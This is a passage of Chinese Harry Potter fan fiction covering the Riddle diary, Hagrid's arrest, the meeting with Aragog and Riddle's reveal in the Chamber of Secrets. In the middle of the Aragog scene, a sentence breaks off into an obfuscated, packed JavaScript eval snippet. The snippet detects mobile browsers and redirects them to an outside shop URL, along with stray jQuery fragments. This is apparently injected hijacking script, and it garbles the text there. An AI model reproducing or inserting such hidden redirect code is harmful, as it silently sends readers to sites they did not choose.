哈利迟疑了,羽毛笔悬在日记上方。里德尔是什么意思?他怎么可能被带进别人的记忆?他紧张地朝宿舍门口瞥了一眼,那里渐渐黑了下来。当他的目光回到日记上时,发现又有一行字冒了出来。 【我领你去看。】 哈利只停顿了一下,便立刻写了两个字。 “好吧。” 日记仿佛被一股大风吹着,纸页哗啦啦地翻过,停在六月中旬的某一页。哈利目瞪口呆地看着六月十三日的那个小方块似乎变成了一个微型的电视屏幕。他双手微微颤抖着,把本子举起来,让眼睛贴在那个小窗口上;没等他反应过来是怎么回事,他就向前倾倒过去;窗口正在变大,他觉得自己的身体离开了床铺,头朝前跌进了那一页的豁口,进入了一片飞舞旋转的色彩与光影之中。 他觉得双脚落在了坚实的地面上。他颤抖着站住了,周围模糊的景象突然变得清晰起来。 …… 哈利、罗恩和赫敏早就知道海格不幸对庞大的怪物清有独钟。他们去年在霍格沃茨期间,海格曾经试图在他的小木屋里喂养一条龙,还有那三个脑袋的、被他称为“路威”的大狗,也使他们很长时间不能忘记。 当年,还是一个少年的海格,如果听说城堡的什么地方藏着一个怪物,哈利知道他肯定会想尽一切办法去看它一眼。海格很可能认为,把那怪物囚禁那么久很不像话,应该给它一个机会出来活动活动腿脚;哈利简直可以想象十三岁的海格想给那怪物拴上皮带、套上颈圈。但是哈利也同样相信,海格决不会故意把人害死。 哈利甚至有点希望他没有发现怎样阅读里德尔的日记。罗恩和赫敏一遍遍地叫他讲述他的所见所闻,最后他讲得厌烦了,对之后没完没了的、车轱辘式的谈话也感到腻味透顶。 “里德尔可能找错了人,”赫敏说,“也许是另外一只怪物伤害了人……” “你以为这个地方能关着几个怪物?”罗恩没精打采地问。 “我们早就知道海格是被开除的。”哈利苦恼地说,“自从海格被赶走后,攻击事件一定就停止了。不然的话,里德尔是不会获奖的。” 罗恩试着换个方向。 “里德尔说话的口气很像珀西——说到底,谁叫他去告发海格的?” “但是怪物杀人,罗恩。”赫敏说。 “如果他们关闭霍格沃茨,里德尔就要回到一家麻瓜的孤儿院。”哈利说,“我认为他希望待在这里是情有可原的……” 罗恩咬着嘴唇,然后试探地说:“你上次在翻倒巷遇见了海格,是吗,哈利?” “他正在购买驱除食肉鼻涕虫的药水。”哈利很快地说。 三个人都沉默了。经过长时间的冷场,赫敏迟疑不决地提出了最棘手的一个问题:“你们看,我们是不是应该拿这些事情去问问海格?” “那可是一次愉快的拜访。”罗恩说,“你好,海格,对我们说说,最近你有没有把城堡里某个野蛮的、浑身是毛的东西放出来?” 三个人都沉默了。 “这件事还有疑点。”哈利说,“我感觉里德尔给我看的这一部分记忆被做了处理。我感觉当时应该还有第三个人在场,但是从目前看来,我找不到任何的证据来证明这种错觉。” “那我们再等等吧。”赫敏说,“或许图书馆的旧报纸能够给我答案……现在贸然去问海格也许不是一个明知的决定。” 哈利和罗恩对赫敏的话表示赞同,随着曼德拉草药效的研发,密室的事情也就暂时被搁置了下来。 67.chapter65 赫敏和一个拉文克劳的女生被石化了。 哈利似乎不能摆脱赫敏躺在医院病床上,像石雕一样僵硬呆滞的模样。如果罪犯不能很快被抓住,他就要回到德思礼家度过一生了。 汤姆·里德尔之所以要告发海格,就是因为一旦学校关闭,他就面临着回到麻瓜孤儿院的前景——哈利现在完全明白了他的感受。 “我们怎么办呢?”罗恩在哈利耳边悄悄问道,“你认为他们怀疑到海格了吗?” “我们必须去跟他谈谈,”哈利拿定了主意,说道,“我无法相信这次是他。但我相信他是当事人,一定注意到过什么,还有那个可能存在于现场的第三个人——这就是一个突破点。” “可是麦格教授说我们必须待在城堡里,除非在教室上课——” “我认为,”哈利说,声音放得更轻了,“现在应该把我爸爸的那件隐形衣再拿出来了。” 哈利只从父亲那里继承了一件东西:一件长长的、银光闪闪的隐形衣。他们要想偷偷溜出学校去拜访海格而不被别人发觉,就全靠它了。 晚上,哈利和罗恩像平常一样上了床,一直等到纳威、迪安和西莫不再讨论密室、终于进入梦乡之后,他们才从床上起来,重新穿好衣服,把隐形衣披在两个人的身上。 穿过阴森森的走廊,这一路并不令人愉快。哈利以前曾好几次半夜三更在城堡里游逛,却从没有看见在太阳落山后还有这么多人。老师、级长和幽灵成双成对地在走廊里巡逻,四处查看有无异常情况。 哈利的隐形衣并不能防止他们发出声音,有一次格外惊险,罗恩突然绊了一下,而斯内普就在离他几步远的地方站岗——幸好,斯内普几乎就在罗恩发出咒骂的同时打了一个喷嚏。 当他们终于来到栋木门前,并轻轻把它们打开时,才算松了口气。 这是一个星光灿烂的夜晚,他们匆匆朝海格住处的那扇映着灯光的窗户走去,一直来到他的门外,他们才脱去了大袍。 在他们敲门几秒钟后,海格猛地把门打开。他们迎面看见海格举着一套弓箭对准他们,大猎狗牙牙在他身后高声狂吠。 “哦,是你们,”他说,放下手里的武器,瞪着他们,“你们俩到这儿来干什么?” “那是做什么的?”他们走进屋里,哈利指着那套弓箭,说道。 “没什么……没什么,”海格含混地说,“我还以为……没关系……坐下吧……我去沏茶……” 他似乎有些心神不定,水壶里的水泼洒出来,差点把炉火浇灭了,然后他粗大的手猛地抖动一下,把茶壶打翻了。 “你没事儿吧,海格?”哈利问,“赫敏的事你听说了吗?” “哦,对,我听说了。”海格说,声音有些哽咽。 他老是紧张地朝窗口张望。他给他们俩各倒了一大杯开水(忘记放茶叶袋了),正要把一块厚厚的水果蛋糕放在一只盘子里,就在这时,传来了很响的敲门声。 海格扔掉了水果蛋糕,哈利和罗恩十分恐慌地交换了一下目光,然后赶紧把隐形衣披在身上,退缩到一个角落里。海格看到他们都藏好了,就抓起他的弓箭,又一次猛地把门拉开。 “晚上好,海格。” 是邓布利多。他走进来,神情非常严肃,后面还跟着一个模样十分古怪的男人。 这个陌生人长得矮矮胖胖,敦敦实实,一头乱糟糟的灰发,脸上带着焦虑的神色。他身上的衣服是个奇怪的大杂烩:细条纹的西服、鲜红色的领带、黑色的长斗篷、紫色的尖头靴。他胳膊底下夹着一顶暗绿色的礼帽。 “那是我爸的上司!”罗恩喘着气说,“康奈利·福吉,魔法部部长!” 哈利用胳膊肘使劲捣了捣罗恩,让他闭嘴。 海格一下子脸色煞白,脑门上开始出汗。他跌坐进一把椅子里,看看邓布利多,又看看康奈利·福吉。 “真槽糕,海格,”福吉用一种清脆快速的语调说,“非常糟糕,不得不来。在麻瓜身上发生了四起攻击事件,太过分了,魔法部必须采取行动。” “我没有,”海格恳求地望着邓布利多,“你知道我没有,邓布利多教授,先生……” “我希望你明白,康奈利,我是完全信任海格的。”邓布利多对福吉皱着眉头,说道。 “可是你瞧,阿不思,”福吉很不自然地说,“海格的前科记录对他不利啊。如果排除那个已死的女孩,现在的一切都指向海格——魔法部不得不采取一些措施——已经和校董事会取得了联系。” “不过康奈利,我还是要告诉你,把海格带走根本无济于事。”邓布利多说。他的蓝眼睛里闪烁着哈利从未见过的怒火。 “你从我的角度看一看吧,”福吉说,手里玩弄着他的礼帽,“我压力很大呀。必须做点什么才行。如果最后查出来不是海格,他还会回来的,一句话也没有。可是我不得不把他带走。我难道不该履行自己的——” “把我带走?”海格说,他显得十分慌张,“带到哪儿?” “时间很短,”福吉说,不去看海格的眼睛,“不是惩罚,只是一种预防措施。如果抓住了另外的人——比如五十年前的那个女孩——就会把你放出来,并致以充分的歉意……” “和她没关系!”海格声音嘶哑低沉。 福吉还没来得及回答,又有人重重地敲门。 邓布利多过去开门。这次轮到哈利肋骨上挨一臂肘了:他发出了一声听得见的惊呼。 卢修斯·马尔福先生大踏步地走进海格的小屋,他全身严严实实地裹着一件长长的黑色旅行披风,脸上带着一种冷冰冰的、心满意足的微笑。牙牙开始狂吠起来。 “你已经来了,福吉,”他满意地说,“很好,很好……” “你来这儿干什么?”海格愤怒地说,“出去,滚出我的房子!” “亲爱的朋友,请你相信我,我也并不想进入你的这间——哦——你管这也叫房子?”卢修斯·马尔福环顾这间小小的陋室,讥笑道。“我只是到学校来看看,有人告诉我校长到这儿来了。” “你找我到底有何贵干,卢修斯?”邓布利多说。他话说得很礼貌,但那团怒火仍然在他的蓝眼睛里燃烧着。 “事情糟糕透了,”马尔福先生懒洋洋地说,一边拿出一卷长长的羊皮纸,“董事会觉得应该让你走人了。这是罢免令——除了顽固不化的雷古勒斯·布莱克,你会看到其他的十二位董事都在上面签了名。我们觉得你恐怕没有发挥你的才能。到现在为止,已经发生了多少起攻击事件?今天下午就是两起,是吗?照这个速度,霍格沃茨的麻瓜学生就会一个不剩了,我们都知道那将是学校的一个可怕的损失。” “哦,怎么,你说什么,卢修斯,”福吉说,他显得很惊慌,“邓布利多被罢免……不,不……我们现在绝对不愿意……” “对校长的任命——啊,不,是罢免——是董事会的事情,福吉,”马尔福先生用平稳的语调说,“既然邓布利多未能阻止这些攻击……” “可是,卢修斯,如果邓布利多不能阻止他们——”福吉说,他的上唇开始出汗了,“我的意思是,谁能阻止呢?” “我们等着瞧吧,”马尔福说,脸上泛起一丝奸笑,“尽管有一个布莱克不支持,我们依旧有十二个人都投票,校长先生恐怕得跟我们走一趟了——” 海格猛地站了起来,毛蓬蓬、黑乎乎的大脑袋擦到了天花板:“你们对多少人进行了威胁、敲诈,才迫使他们同意的,嗯,马尔福?” “天哪,天哪,你知道,你的这个坏脾气总有一天会给你惹麻烦的,海格,”马尔福说,“我想给你一句忠告,可不要对阿兹卡班的看守这样大喊大叫。他们是不会喜欢的。” “你不能带走邓布利多!”海格喊道,吓得大猎狗牙牙在篮子里瑟瑟发抖,呜呜地哀叫。“如果把他带走,麻瓜巫师们就没有一点活路了!很快就会有杀人事件的!” “你冷静一点儿,海格。”邓布利多严厉地说。他看着卢修斯·马尔福。“如果董事会希望我走,卢修斯,我当然会把位子让出来的。” “可是——”福吉结结巴巴地说。 “不行!”海格低吼道。 邓布利多炯炯有神的蓝眼睛始终盯着卢修斯冷冰冰的灰眼睛。 “不过,”邓布利多十分缓慢而清晰地说,使在场的每个人都能听清他说的每一个字,“只有当这里的人都背叛我的时候,我才算真正离开了这所学校。你们还会发现,在霍格沃茨,那些请求帮助的人总是能得到帮助的。” 在那一刹那,哈利几乎可以肯定邓布利多的眼睛朝他和罗恩藏身的角落瞥了一眼。 “情感可嘉,”马尔福说着,鞠了个躬,“我们大家都会怀念你——哦——处理事情的极富个性的方式,阿不思,只希望你的接班人能够彻底阻止——啊——杀人事件。” 马尔福大步走向小屋的门,把门打开,鞠躬送邓布利多出去。福吉玩弄着他的礼帽,等海格走到他前面去,可是海格站住不动,深深吸了口气,谨慎地说:“如果有人想找什么东西,他们只需跟着蜘蛛,就会找到正确的方向!我就说这么多。” 福吉惊愕地瞪着他。 “好吧,我来了。”海格说着,穿上他的鼹鼠皮大衣。然而就在他要跟着福吉出门时,又停住脚步,大声说道:“我不在的时候,需要有人喂喂牙牙。” 门砰地关上了,罗恩一把扯下隐形衣。 “这下可麻烦了,”他声音粗哑地说,“邓布利多不在了。他们很可能今晚就要关闭学校。他走了以后,天天都会有攻击事件发生的。” “我听到了没有,福吉说了一句‘五十年前的女孩’?他指的是谁?桃金娘吗?”哈利说道。 牙牙又狂吠起来,用爪子抓挠着紧闭的房门。 * 吃过晚饭,哈利从箱子里取出隐形衣,然后整个晚上都坐在它上面,等屋里的人都走光。弗雷德和乔治向哈利和罗恩提出挑战,要求玩呼“同”牌戏。 金妮在一旁观看。她坐在赫敏惯常的座位上,不过哈利觉得她看起来有些反常——她看起来情绪非常低落。哈利和罗恩不停地故意输掉,想早点儿结束比赛,但即使这样,弗雷德、乔治和金妮离开休息室的时候也已经过午夜了。 哈利和罗恩等着远处传来两声宿舍的关门声,才抓起隐形衣,披在身上,从肖像洞口爬了出去。 哈利眯起眼睛,在被灯光照亮的地面上继续寻找蜘蛛的影子,可是它们都匆匆避开刺眼的车灯,跑得不知去向了。 “我们失去踪迹了。”他说,“来,我们去找蜘蛛……” 罗恩没有说话,也没有动弹。他眼睛死死盯着哈利身后,离地面十英尺高的地方。他的脸色铁青,活生生地写着恐惧。 哈利甚至没来得及转身。只听一阵响亮的咔哒咔哒声,他突然觉得一个长长的、毛茸茸的东西把他拦腰抄起,使他脸朝下悬在半空。他挣扎着,极度惊恐,这时又听见了咔哒咔哒声,他看见罗恩的双腿也离开了地面,还听见牙牙在哀鸣、咆哮——接着,它就被拖进了漆黑的树丛。 哈利的脑袋倒悬着,看见那个抓住他的家伙迈着六条长得离奇的、汗毛浓密的腿,前面还有两条腿紧紧地钳住他,上面是一对闪闪发亮的大黑螯。在他身后,他可以听见还有一个这样的动物,显然是抱着罗恩。他们正朝着树林的中心移动。哈利听见牙牙呜呜地叫着,正在拼命挣脱第三只怪物,而哈利即使想叫也叫不出来,他似乎把他的声音和汽车一起留在空地上了。 他不知道他在那动物的利爪里待了多久;他只知道黑暗似乎突然消退了一些,他看见铺满落叶的地面上现在密密麻麻的都是蜘蛛。他把脖子扭过去,发现他们已经来到一片宽阔凹地的边缘,凹地里的树木被清除了,星星照亮了他有生以来见过的最可怕的景象。 蜘蛛。 不像那些在下面的落叶中匆匆爬过的小蜘蛛,而是每一只都有拉车的马那么大,八只眼睛,八条腿,黑乎乎、毛森森的,像一个个庞然大物。那个抱着哈利的巨型蜘蛛沿陡坡而下,朝凹地正中央的一张雾气迷蒙的、半球形的蛛网走去,它的同伴把它团团围住。它们看见它钳住的东西后,都兴奋地活动着大螯,发出一片咔哒咔哒的声音。 蜘蛛松开爪子,哈利扑倒在地。罗恩和牙牙也重重地跌落在他旁边。牙牙不再咆哮了,而是静静地蜷缩着不动。罗恩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13097067|135277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看上去的感觉与哈利一模一样。他的嘴巴咧得大大的,似乎在发出无声的嘶喊,眼睛向外暴突着。 哈利突然意识到那只把他扔掉的蜘蛛正在说话。不容易听出来,因为它每说一个字都要咔哒咔哒地摆弄它的大螯。 “阿拉戈克!”它喊道,“阿拉戈克!” 从雾气迷蒙的、半球形的蛛网中间,非常缓慢地钻出来一只小象那么大的蜘蛛。它的身体和腿黑中带灰,那长着大螯的丑陋脑袋上的每只眼睛都蒙着一层白翳。它是个瞎子。 “怎么回事?”它说,咔哒咔哒,两只大螯飞快地动着。 “人。”刚才抓住哈利的那只蜘蛛说。 “是海格吗?”阿拉戈克说着,靠近了一些,八只乳白色的眼睛茫然地张望着。 “是陌生人。”把罗恩带来的那只蜘蛛咔哒咔哒地说。 “把他们弄死,”咔哒咔哒,阿拉戈克烦躁地说,“我正在睡觉……” “我们是海格的朋友。”哈利喊道。他的心似乎要离开胸腔,从嗓子眼里跳出来。 咔哒咔哒,咔哒咔哒,凹地里到处都是蜘蛛的大螯在动。 阿拉戈克迟疑了。 “海格以前从不派人到我们的凹地来。”它慢吞吞地说。 “海格遇到麻烦了,”哈利说,他的呼吸非常急促,“所以我们才来的。” “麻烦?”那只年迈的蜘蛛说。哈利觉得他在咔哒咔哒的大螯声中听出了几分关切。“但他为什么要派你们来呢?” 哈利本想站起来,但后来决定还是趴着;他认为他的腿支撑不住身体的重量。他趴在地面上说话,尽可能使语气平静。 “在学校里,他们认为海格最近放出一个——一个——什么东西加害学生。他们把他带到阿兹卡班去了。” 咔哒咔哒,阿拉戈克愤怒地舞动着大螯,这声音得到了凹地上那一大群蜘蛛的响应;这就像是掌声,只不过通常的掌声是不会使哈利恐惧得作呕的。 “但那是很多年前的事了,”阿拉戈克恼火地说,“很多、很多年以前了。我记得很清楚。正是因为这件事,他们当时才让他们离开学校的!他们为了保护我,揽下了所有的罪责!然而,这件事根本和海格,和我,没有任何关系,我根本不知道密室在哪里。” “那么你……你不是从密室里出来的?”哈利问,感到他脑门上出了一层冷汗。“还有你说‘他们’?他们是谁?” “海格和凯茜!”阿拉戈克说,大螯愤怒地咔哒咔哒,“我不是生在城堡里的。我来自一个遥远的国度。当我还没有从蛋里孵出来时,一个旅游者把我送给了海格。当时海格和凯茜还只是小孩子,但他们照顾着我,把我藏在城堡的一个碗橱里,喂我吃撒在餐桌上的面包屑。我的名字,就是凯茜给我起的。 海格和凯茜是我的好朋友,他们是好人。人们发现了我,并要我为一个姑娘的死承担责任时,是他们保护了我。从那以后,我就一直住在这树林里,海格还经常来看我——只是凯茜再也没来过……听说她因病去世了。海格甚至还给我找了个妻子——莫萨格。你看到我们的家庭发展得多么兴旺,这都是托了海格的福……” 哈利鼓起他剩余的一点儿勇气。 “对不起,谁是凯茜?” “当时被开除的另外一个女生,据说是因为默默然失控的意外事件。” 哈利还想追问,但是阿拉戈克拒绝继续说这个事。 “那么你从来没有——从来没有攻击过任何人?” “没有,”老蜘蛛怨恨地说,“我是有这种本能的,但出于对海格和凯茜的尊敬,我从未伤害过一个人。那个被害姑娘的尸体是在一间盥洗室里发现的。而除了我在里面长大的碗橱,我从未见过城堡的任何部分。我们蜘蛛喜欢阴暗和寂静……” “可是当时……你知道是什么害死了那姑娘吗?”哈利说,“因为不管那是什么东西,现在又回来对人发起攻击了——” 顿时,咔哒咔哒的声音响作一团,无数条长腿在窸窸窣窣地移动;庞大的黑影在他周围晃来晃去。 “那个住在城堡里的家伙,”阿拉戈克说,“是一种我们蜘蛛最害怕的古代生物。我记得很清楚,当我感觉到那野兽在学校里到处活动时,我曾恳求海格放我走。” “它是什么?”哈利迫切地问。 咔哒咔哒声更响了,窸窸窣窣的声音也更密了,蜘蛛们似乎正在围拢过来。 “我们不说!”阿拉戈克情绪激烈地说,“我们不说出它的名字!我甚至没有把那个可怕生物的名字告诉海格,尽管他问过我,问过许多次。” 哈利不想再逼问这个话题,尤其是在蜘蛛们从四面八方聚拢过来的情况下。阿拉戈克似乎不想说话了。它缓缓退回他那半球形的蛛网里,但他那些蜘蛛伙伴还在慢慢地、一寸一寸地向哈利和罗恩移动。 * 哈利想,那个潜伏在城堡什么地方的活物,听上去和伏地魔有些相似——就连其他怪物也不愿说出它的名字。但是那活物是什么,又是怎样使被害者变成石头的,他和罗恩还是一无所知。就连海格也一直不知道密室里关着的是什么。 哈利把腿一摆,上了床,靠在枕头上,看着月光透过城堡的窗户向他闪烁。 他想不出他们还有什么办法。他们处处碰壁,陷入了僵局。里德尔抓错了人,同时愿望了两个无辜的学生,放走了真正的斯莱特林的继承人——这次打开密室的究竟是同一个人,还是另外一个人,谁也不知道……也没有人可以问。 哈利躺下了,脑子里仍然想着阿拉戈克的话。 他已经昏昏欲睡了,突然产生了一个念头,使他猛地坐了起来,这似乎是他们唯一的希望了。 “罗恩。”他在黑暗中小声唤道。 罗恩发出一声像牙牙一般的叫声,茫然四顾,看见了哈利。 “罗恩——那个死去的姑娘。阿拉戈克说她是在盥洗室里被发现的,”哈利说,不顾纳威在墙角呼哧呼哧地打着鼾,“如果她一直没有离开盥洗室呢?如果她还在那儿呢?” 罗恩揉了揉眼睛,在月光下皱起眉头。接着,他明白了。 “难道你认为是——是哭泣的桃金娘?” 68.chapter66 他站在一间长长的、光线昏暗的房间的一侧。许多刻着盘绕纠缠的大蛇的石柱,高耸着支撑起消融在高处黑暗中的天花板,给弥漫着绿盈盈神秘氤氲的整个房间投下一道道长长的诡橘的黑影。 哈利的心怦怦狂跳着,他站在那里,倾听着这令人胆寒的寂静。蛇怪是不是就潜伏在某个石柱后面的黑暗角落里?金妮在什么地方? 他拔出自己的魔杖,在巨蛇盘绕的石柱间慢慢前进。他每小心翼翼地迈出一步,都在鬼影幢幢的四壁间产生空洞、响亮的回声。他一直眯着眼睛,准备一有风吹草动,就把眼睛紧紧闭上。他总觉得那两只石蛇的空眼窝始终都在跟随着他。不止一次,他仿佛看见了什么动静,紧张得肚子都痉挛起来。 当他走到与最后一对石柱平行时,眼前赫然出现了一座和房间本身一样高的雕像,紧贴在后面黑乎乎的墙壁上。 哈利必须高高地仰起脖子,才能看见上面那副巨大的面孔:那是一张老态龙钟的、猴子般的脸,一把稀稀拉拉的长胡须,几乎一直拖到石头刻成的巫师长袍的下摆上,两只灰乎乎的大脚板站在房间光滑的地板上。 “你来了。”一个声音轻轻地说。 哈利大吃一惊,跪着转过身来。 一个黑头发的高瘦男孩靠在最近的那根石柱上,正注视着他。那男孩长得十分英俊,声音和样貌都与他的日记本向哈利展示的记忆里一模一样,毫无疑问就是他。 “汤姆——汤姆·里德尔?” 里德尔点了点头,眼睛没有离开哈利的脸。 “你这是什么意思?你知道我会来?”哈利有些恼怒地问,“金妮呢?” “谁知道呢?”里德尔说,“或许她还活着,但也活不了多久了。” 哈利愣愣地瞪着他。汤姆·里德尔是霍格沃茨五十年前的学生,可是现在他站在这里,周身散发着一种古怪的、雾蒙蒙的微光,那样子绝不会超过十六岁。 “你是鬼魂吗?”哈利不敢肯定地问。 “是一段记忆,”里德尔平静地说,“在一本日记里保存了五十年。”他伸手指着雕像的大脚趾旁。那里躺着哈利在哭泣的桃金娘的盥洗室里发现的那本日记。哈利一时很想不通它怎么会到那里去的——但是他还有更加紧迫的事情要处理。 “你,必须帮助我,汤姆。”哈利说着,“我需要解决掉蛇怪,还需要找到金妮——她失踪了!求求你,帮帮我吧……” 里德尔没有动弹。哈利满头大汗,想要回头找自己的魔杖。 可是魔杖不见了。 “你有没有看见——” 他一抬头,里德尔仍然注视着他——修长的手指间玩弄着哈利的魔杖。 “谢谢。”哈利说,伸手去拿魔杖。 里德尔的嘴角露出一个古怪的微笑。他继续盯着哈利,漫不经心地把玩着魔杖。 “你听我说,”哈利焦急地说,“我们必须走!如果蛇怪来了……” “它不受到召唤是不会来的。”里德尔无动于衷地说。 “你这是什么意思?”哈利说,“快点,把魔杖给我,我可能会需要它的。” 里德尔的笑容更明显了。 “你不会需要它了。”他说。 哈利吃惊地望着他。 “你说什么,我不会——” “哈利·波特,我等了很长时间,”里德尔说,“希望有机会看到你。跟你谈谈。” “哎呀,”哈利渐渐失去了耐心,说道,“你大概还没有明白我的意思。我们现在是在密室里。我们不妨以后再谈。” “必须现在就谈。”里德尔说,脸上仍挂着明显的笑容,他把哈利的魔杖揣进了自己的口袋。 哈利目瞪口呆地看着他。这里发生的事情真是太古怪了。 “你肯定知道金妮在哪里,是不是?”他慢慢地问。 “哦,这可是一个有趣的问题,”里德尔愉快地说,“说来话长啊。据我看,金妮·韦斯莱之所以会变成这样,真正的原因就是她向一个看不见的陌生人敞开了心扉,倾诉了自己的全部秘密。” “你在说些什么呀?”哈利说。 “日记,”里德尔说,“我的日记。好几个月来,小金妮一直在上面写她的心里话,向我诉说她令人心疼的烦恼和悲哀:她怎样被哥哥们取笑,怎样不得不穿着旧长袍、拿着旧书来上学,还有,她认为——”里德尔的眼睛狡猾地闪烁着,“——认为大名鼎鼎的、善良的、伟大的哈利·波特永远也不会喜欢她……” 里德尔说话的时候,目光始终没有离开哈利的脸。他的眼睛里隐藏着一种近乎贪婪的神情。 “太乏味了,听一个十一岁小姑娘讲她那些幼稚的烦心事,”他继续说道,“但是我耐着性子,写出一些话答复她,我是慈祥的、善解人意的。金妮简直爱上我了。‘哦,汤姆,没有人像你这样理解我……我真高兴得到了这本日记,可以向你诉说知心话……就像是拥有一个可以放在口袋里随身携带的朋友……’” 里德尔发出冷冰冰的大笑,不像是一个十六岁的孩子发出来的。这使哈利脖子后面的汗毛根根竖起。 “不是我自己吹嘘,哈利,我一向能够随心所欲地把人迷惑住。所以,金妮把她的整个灵魂都向我敞开了,而她的灵魂偏巧正是我所需要的。我吞食着她最隐秘的恐惧,最深藏的秘密,胃口越来越大。我渐渐强大起来,比小小的韦斯莱小姐要强大得多。强大得足以向韦斯莱小姐透露我的几桩秘密,开始把我的一小部分灵魂也向她敞开……” “你说什么?”哈利问,觉得嗓子眼里干得要冒火。 “你难道还猜不出来吗,哈利·波特?”里德尔轻声细语地说,“是金妮·韦斯莱打开了密室。是她掐死了学校里的公鸡,并在墙上涂抹那些吓人的文字。是她放出斯莱特林的蛇怪,袭击了四个泥巴种,还有那个哑炮的瘦猫。” “不可能。”哈利喃喃地说。 “是啊,”里德尔仍然平心静气地说,“当然啦,起先她不知道自己在做什么。这是非常有趣的。我真希望你能看看她新写的几篇日记……‘真是越来越有意思了……亲爱的汤姆,’”他注视着哈利惊恐的眼睛,背诵着日记里的内容。 “‘我觉得自己好像在失去记忆。我的袍子上到处都是鸡毛,我不知道它们是怎么弄上去的。亲爱的汤姆,我不记得万圣节前夜我都做了什么,但是一只猫遇害了,而我的胸前沾满了颜料。亲爱的汤姆,珀西总是对我说我脸色不好,样子也有些反常。我觉得他可能怀疑我了……今天又发生了一起攻击事件,我想不起当时我在哪里。汤姆,我该怎么办呢?我觉得自己快要疯了……我觉得我就是那个袭击所有这些人的凶手,汤姆!’” 哈利的拳头攥紧了,指甲深深地陷进肉里。 “过了很长很长时间,傻乎乎的小金妮才不再信任她的日记本了。”里德尔说,“她终于起了疑心,试图把它扔掉。你就是那个时候插进来的,哈利。你发现了它,我真是再高兴不过了。没想到在这么多人里面,居然是你捡到了这本日记,你是我最迫切想见的人啊……” “你为什么想见我?”哈利问。他气得浑身冒火,费了很大力气才使语调保持了平稳。 “噢,是这样的,哈利,金妮把你的情况都告诉我了,”里德尔说,“你的那些惊险迷人的往事。”他的目光掠过哈利前额上那道闪电形伤疤,脸上的神情变得更饥渴了。“我知道,我必须更多地了解你,跟你谈谈,如果可能的话还要亲自见到你。所以我决定让你亲眼目睹我抓住海格那个大蠢货的著名壮举,以获取你对我的信任。” “海格是我的朋友!”哈利说,声音现在有些颤抖了,“你诬陷了他,是吗?我还以为你是弄错了,没想到——” 里德尔又发出他那种令人胆寒的狂笑。 “是我揭发海格的,哈利。你可以想象一下,摆在阿芒多·迪佩特老先生面前的是个什么情况:一面是我,汤姆·里德尔,出身贫寒但聪明过人,父母双亡但智勇双全,是学校里的级长,模范学生;另一面呢,是傻大个海格,粗手笨脚,惹是生非,每隔一星期就要闯一次祸,他在床底下养狼人崽子,溜到禁林去跟巨怪搏斗——不过,计划出了一点纰漏,但也算完成了……” “因为凯茜?”哈利几乎毫不费力地就联想到了这个名字。 少年里德尔的脸色一僵,像是想到了很不愉快的事情。 “不准你提她!”他用冷冰冰的声音威胁道,“她愚蠢地跑了出来,想要帮助海格——噢,多么感人!当然,最后他们都被开除了,邓布利多出马也没用——不过,他劝说迪佩特留下海格,把他培养成狩猎场看守——是的,我认为邓布利多大概有所察觉了。邓布利多似乎一直不像其他老师那样喜欢我……” “我敢说邓布利多早把你看透了。”哈利咬牙切齿地说。 “是啊,自从那件事后,他就一直密切地监视着我,非常讨厌。”里德尔漫不经心地说,“我知道,我在学校的时候再打开密室就不保险了。但是我不想把这么多年寻找密室的努力付诸东流。我决定留下一本日记,在那些纸页里保存那个十六岁的我,这样,有朝一日,凭借运气,我就可以引导另一个人沿着我的足迹,完成萨拉查·斯莱特林高贵的事业。” “可是,你并没有完成,”哈利得意地说,“这次一个人也没死,就连那只猫也没死。几个小时之内,曼德拉草药水就配制好了,那些被石化的人就都可以活过来了。” “我刚才不是对你说过了吗?”里德尔轻声慢语地说,“对我来说,杀死泥巴种已经不重要了。许多月来,我的新目标一直是——你。” 哈利惊愕地瞪着他。 “当我的日记又一次被打开时,在上面写字的居然是金妮,而不是你,你想象一下我是多么恼火吧。你知道吗,她看见日记到了你手里,非常紧张。万一你发现了日记的使用方法,我把她的秘密都透露给你呢?或者更糟糕的是,万一我告诉你是谁掐死了学校的公鸡呢?所以,这个蠢头蠢脑的小家伙就等到你宿舍没人的时候,进去把日记偷了出来。但是我知道自己必须怎么做。我看得出来,你在寻找斯莱特林的继承人。从金妮向我透露的你的情况看,我知道你会想尽一切办法解开这个秘密——特别是你一个最好的朋友也遭到了袭击。金妮曾经告诉过我,大家纷纷议论你会说蛇佬腔,整个学校都炸开了锅……所以,我让金妮自己在墙上写了一行绝命书,她拼命挣扎,大哭大闹,真令人烦躁。但是她身体里已经没有多少生命了,她把大部分生命都注入了日记,注入到我身上,使我终于可以离开日记本了。然后,我就来到这里等你,我知道你会来的。我有许多问题等着问你呢,哈利·波特。” “什么问题?”哈利厉声问道,拳头仍然攥得紧紧的。 “比如说,”里德尔说,睑上露出快意的微笑,“一个婴儿,没有任何特别神奇的法术,是怎么打败有史以来最伟大的巫师的?你怎么能够安然无恙地逃脱,只留下一道伤疤,而伏地魔的力量却被摧毁了?” 现在,他饿狼似的眼睛里闪着一种古怪的红光。 “你为什么关心我是怎么逃脱的?”哈利拖长了声音问,“伏地魔的事发生在你死后许多年。” “伏地魔,”里德尔轻声地说,“是我的过去、现在和未来,哈利·波特……”他从口袋里抽出哈利的魔杖,在空中画了几下,写出三个闪闪发亮的名字: 【汤姆·马沃罗·里德尔】 然后他把魔杖挥了一下,那些字母自动调换了位置,变成了: 【我是伏地魔】 “看见了吗?”他小声说,“这个名字是我在霍格沃茨读书的时候就用过的,当然啦,只对我最亲密的朋友用过。难道你认为,我要一辈子使用我那个肮脏的麻瓜父亲的名字?要知道,在我的血管里,流淌着萨拉查·斯莱特林本人的鲜血,是通过他的女儿传给我的!难道我还会保留那个令人恶心的普通麻瓜的名字?他在我还没有出生时就抛弃了我,就因为他发现自己的妻子是个女巫?不,哈利。我给自己想出了一个新的名字,我知道有朝一日,当我成为世界上最伟大的魔法师时,各地的巫师都不敢轻易说出这个名字!” 